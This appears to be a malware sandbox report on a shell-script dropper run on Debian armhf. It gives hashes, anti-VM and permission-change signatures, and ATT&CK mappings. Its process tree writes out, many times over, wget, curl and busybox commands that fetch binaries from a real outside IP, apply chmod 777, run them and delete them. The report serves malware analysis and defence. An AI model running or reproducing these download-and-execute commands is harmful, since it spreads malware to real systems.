7314d78e5ebea2c7b5b5c2649fcb9acd8722a17225af35e04c13a29a172ed436

Analysis

max time kernel
15s
max time network
16s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
16/11/2024, 08:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7314d78e5ebea2c7b5b5c2649fcb9acd8722a17225af35e04c13a29a172ed436.sh
Size 10KB
Sample241116-kh9efstakf
SHA256 7314d78e5ebea2c7b5b5c2649fcb9acd8722a17225af35e04c13a29a172ed436
MD5 bb2b3973ae498e624d82f41d1755eac9
SHA1 0b16ecd9dae8a3e2aaeb5c55e07ad2755c26c9d6
SHA512 af5569dbeb4913d9c19af37799a6f96d31dcc88eb4e0a1d8be442129bda38ca89c0d232207fe8a9717bba27af0fdcfe1dde8489a2c2ae89346c06f32a32af9fd
SSDEEP 192:mq2TptpVpCDnF7lNWE7OCy7v7sG6LXDVQlN0477LLLL7LQfPpV95ZgZQZtuyBjnL:lLm8H47fPDQfPqO4fPDQfPEK
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 18 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
704	chmod
781	chmod
795	chmod
690	chmod
732	chmod
825	chmod
837	chmod
684	chmod
771	chmod
810	chmod
855	chmod
673	chmod
718	chmod
751	chmod
764	chmod
831	chmod
843	chmod
849	chmod

Executes dropped EXE 18 IoCs

Checks CPU configuration 1 TTPs 18 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 36 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 18 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC	curl
File opened for modification	/tmp/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0	curl
File opened for modification	/tmp/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM	curl
File opened for modification	/tmp/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO	curl
File opened for modification	/tmp/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi	curl
File opened for modification	/tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk	curl
File opened for modification	/tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq	curl
File opened for modification	/tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5	curl
File opened for modification	/tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG	curl
File opened for modification	/tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT	curl
File opened for modification	/tmp/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et	curl
File opened for modification	/tmp/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx	curl
File opened for modification	/tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq	curl
File opened for modification	/tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN	curl
File opened for modification	/tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk	curl
File opened for modification	/tmp/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ	curl
File opened for modification	/tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN	curl
File opened for modification	/tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5	curl

/tmp/7314d78e5ebea2c7b5b5c2649fcb9acd8722a17225af35e04c13a29a172ed436.sh
/tmp/7314d78e5ebea2c7b5b5c2649fcb9acd8722a17225af35e04c13a29a172ed436.sh
1⤵
PID:645
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:648
- /usr/bin/wget
  wget http://87.120.125.191/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  PID:653
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:660
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  PID:670
- /bin/chmod
  chmod 777 YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  - File and Directory Permissions Modification
  PID:673
- /tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  ./YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  - Executes dropped EXE
  PID:674
- /bin/rm
  rm YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  PID:676
- /usr/bin/wget
  wget http://87.120.125.191/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  PID:677
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:681
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  PID:683
- /bin/chmod
  chmod 777 MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  ./MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  - Executes dropped EXE
  PID:685
- /bin/rm
  rm MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  PID:686
- /usr/bin/wget
  wget http://87.120.125.191/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  PID:687
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:688
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  PID:689
- /bin/chmod
  chmod 777 GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  - File and Directory Permissions Modification
  PID:690
- /tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  ./GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  - Executes dropped EXE
  PID:691
- /bin/rm
  rm GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  PID:692
- /usr/bin/wget
  wget http://87.120.125.191/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  PID:693
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:696
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  PID:701
- /bin/chmod
  chmod 777 9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  - File and Directory Permissions Modification
  PID:704
- /tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  ./9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  - Executes dropped EXE
  PID:705
- /bin/rm
  rm 9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  PID:706
- /usr/bin/wget
  wget http://87.120.125.191/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  PID:708
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:711
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  PID:715
- /bin/chmod
  chmod 777 m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  - File and Directory Permissions Modification
  PID:718
- /tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  ./m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  - Executes dropped EXE
  PID:719
- /bin/rm
  rm m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  PID:720
- /usr/bin/wget
  wget http://87.120.125.191/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  PID:722
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  PID:730
- /bin/chmod
  chmod 777 SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  ./SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  - Executes dropped EXE
  PID:734
- /bin/rm
  rm SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  PID:736
- /usr/bin/wget
  wget http://87.120.125.191/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  PID:737
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  PID:746
- /bin/chmod
  chmod 777 Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  ./Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  - Executes dropped EXE
  PID:753
- /bin/rm
  rm Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  PID:754
- /usr/bin/wget
  wget http://87.120.125.191/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  PID:755
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  PID:763
- /bin/chmod
  chmod 777 Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  ./Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  - Executes dropped EXE
  PID:766
- /bin/rm
  rm Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  PID:767
- /usr/bin/wget
  wget http://87.120.125.191/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  PID:768
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:769
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  PID:770
- /bin/chmod
  chmod 777 wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  ./wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  - Executes dropped EXE
  PID:772
- /bin/rm
  rm wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  PID:773
- /usr/bin/wget
  wget http://87.120.125.191/bins/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  PID:774
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:775
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  PID:778
- /bin/chmod
  chmod 777 nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  ./nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  - Executes dropped EXE
  PID:782
- /bin/rm
  rm nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  PID:783
- /usr/bin/wget
  wget http://87.120.125.191/bins/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  PID:784
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:788
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  PID:792
- /bin/chmod
  chmod 777 71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  ./71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  - Executes dropped EXE
  PID:797
- /bin/rm
  rm 71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  PID:798
- /usr/bin/wget
  wget http://87.120.125.191/bins/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  PID:800
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:803
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  PID:808
- /bin/chmod
  chmod 777 0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  ./0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  - Executes dropped EXE
  PID:812
- /bin/rm
  rm 0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  PID:813
- /usr/bin/wget
  wget http://87.120.125.191/bins/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  PID:814
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  PID:822
- /bin/chmod
  chmod 777 2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  ./2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  - Executes dropped EXE
  PID:826
- /bin/rm
  rm 2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  PID:827
- /usr/bin/wget
  wget http://87.120.125.191/bins/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  PID:828
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:829
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  PID:830
- /bin/chmod
  chmod 777 VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  ./VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  - Executes dropped EXE
  PID:832
- /bin/rm
  rm VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  PID:833
- /usr/bin/wget
  wget http://87.120.125.191/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  PID:834
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  PID:836
- /bin/chmod
  chmod 777 GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  ./GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  - Executes dropped EXE
  PID:838
- /bin/rm
  rm GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  PID:839
- /usr/bin/wget
  wget http://87.120.125.191/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  PID:840
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:841
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  PID:842
- /bin/chmod
  chmod 777 9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  ./9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  - Executes dropped EXE
  PID:844
- /bin/rm
  rm 9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  PID:845
- /usr/bin/wget
  wget http://87.120.125.191/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  PID:846
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:847
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  PID:848
- /bin/chmod
  chmod 777 YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  ./YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  - Executes dropped EXE
  PID:850
- /bin/rm
  rm YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  PID:851
- /usr/bin/wget
  wget http://87.120.125.191/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  PID:852
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:853
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  PID:854
- /bin/chmod
  chmod 777 MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  ./MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  - Executes dropped EXE
  PID:856
- /bin/rm
  rm MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  PID:857
- /usr/bin/wget
  wget http://87.120.125.191/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  PID:858

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk

Path /tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk	674	YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
/tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq	685	MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
/tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN	691	GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
/tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5	705	9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
/tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG	719	m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
/tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT	734	SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
/tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC	753	Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
/tmp/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ	766	Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
/tmp/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et	772	wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
/tmp/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx	782	nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
/tmp/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0	797	71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
/tmp/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM	812	0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
/tmp/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi	826	2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
/tmp/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO	832	VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
/tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN	838	GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
/tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5	844	9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
/tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk	850	YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
/tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq	856	MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads